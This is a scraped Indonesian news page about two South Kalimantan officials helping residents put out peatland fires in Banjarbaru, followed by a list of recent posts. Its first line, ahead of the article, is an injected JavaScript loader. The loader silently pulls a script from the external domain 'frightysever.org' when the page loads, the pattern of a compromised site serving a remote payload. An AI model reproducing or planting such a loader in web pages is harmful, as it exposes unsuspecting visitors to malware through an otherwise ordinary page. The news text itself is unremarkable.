(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Kadishut dan Karo Humpro Ikut Padamkan Api Karhutla


BANJARBARU, Baru landing dari pesawat di Bandara Syamsudin Noor, Kadishut Kalsel, Hanif Faisol Nurofiq, turut berjibaku bersama masyarakat untuk memadamkan kepulan asap dan api di kawasan Jalan Golf, Landasan Ulin, Banjarbaru, Rabu (14/8) sore.

Saat perjalanan pulang menuju Banjarbaru, meski masih mengenakan kemeja putih, matanya tertuju pada kepulan asap tebal disertai percikan api di kawasan Jalan Golf. Ia pun meminta sopir untuk memacu mobil agak cepat menuju tempat sumber kepulan asap.

Setiba di sana, Hanif bersama masyarakat dan sejumlah rekan kerja yang lebih awal tiba di lokasi langsung berbaur memadamkan api. “Alhamdulillah kebakaran lahan gambut tidak meluas berkat gotong royong segenap komponen, ” kenang Hanif.

Dikatakan Hanif, di lokasi kebakaran juga telah dilakukan upaya pencegahan titik api. Menggunakan alat ‘peat injector’ atau suntikan gambut, yang dialiri air dari selang dan mesin portabel disuntikan untuk memadamkan api yang ada di lapisan bawah.

Di lokasi juga dibuatkan embung menggunakan terpal plastik sebagai pencegahan atau mengurangi risiko titik api. “Sudah menjadi tugas kita bersama untuk membebaskan Kalsel dari bencana kabut asap kebakaran hutan dan lahan,” ujar Hanif.

Hal yang sama dilakukan Kepala Biro Hubungan Masyarakat dan Protokol (Humpro) Setdaprov Kalsel, Kurnadiansyah. Aksi heroik Kurnadi terjadi saat menerabas rumput ilalang dan kobaran asap, di Komplek Bumi Hunian Asri I RT 29, Kelurahan Cempaka, Banjarbaru, Sabtu (17/8) sore.

Saat itu Kurnadi sedang dalam perjalanan pulang ke rumahnya. Belum tiba di rumah yang tak jauh dari lokasi kebakaran lahan, matanya tertuju pada kepulan asap disertai percikan api di kawasan Komplek Bumi Hunian Asri.

Naluri kepekaan dan semangat Paman Birin sapaan akrab Gubernur Kalsel agar semua jajarannya siaga jika melihat potensi titik api. “Kita semua harus merubah pola pikir. Kalau pola lama, titik api yang mengepung kita, sekarang kita yang harus mengepung titik api. Untuk itu, jika melihat sekecil apapun potensi titik api segera kepung dan padamkan,” ingat Paman Birin dalam setiap kesempatan.

Rupaya semangat itulah yang mengalir kuat di benak dan pemikiran Karo Humpro Kalsel. Kendati sore itu penghuni kompleks agak sepi, dengan keberanian dan kepekaan tinggi serta ilmu teknik menjinakan api yang ia miliki, kepulan dan percikan titik api ia terabas. “Alhamdulillah dengan dibantu warga dan beberapa staf, serta peralatan seadanya, titik api berhasil kami padamkan, ” kenang Kurnadiansyah. (humpro)

Reporter : humpro
Editor : Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.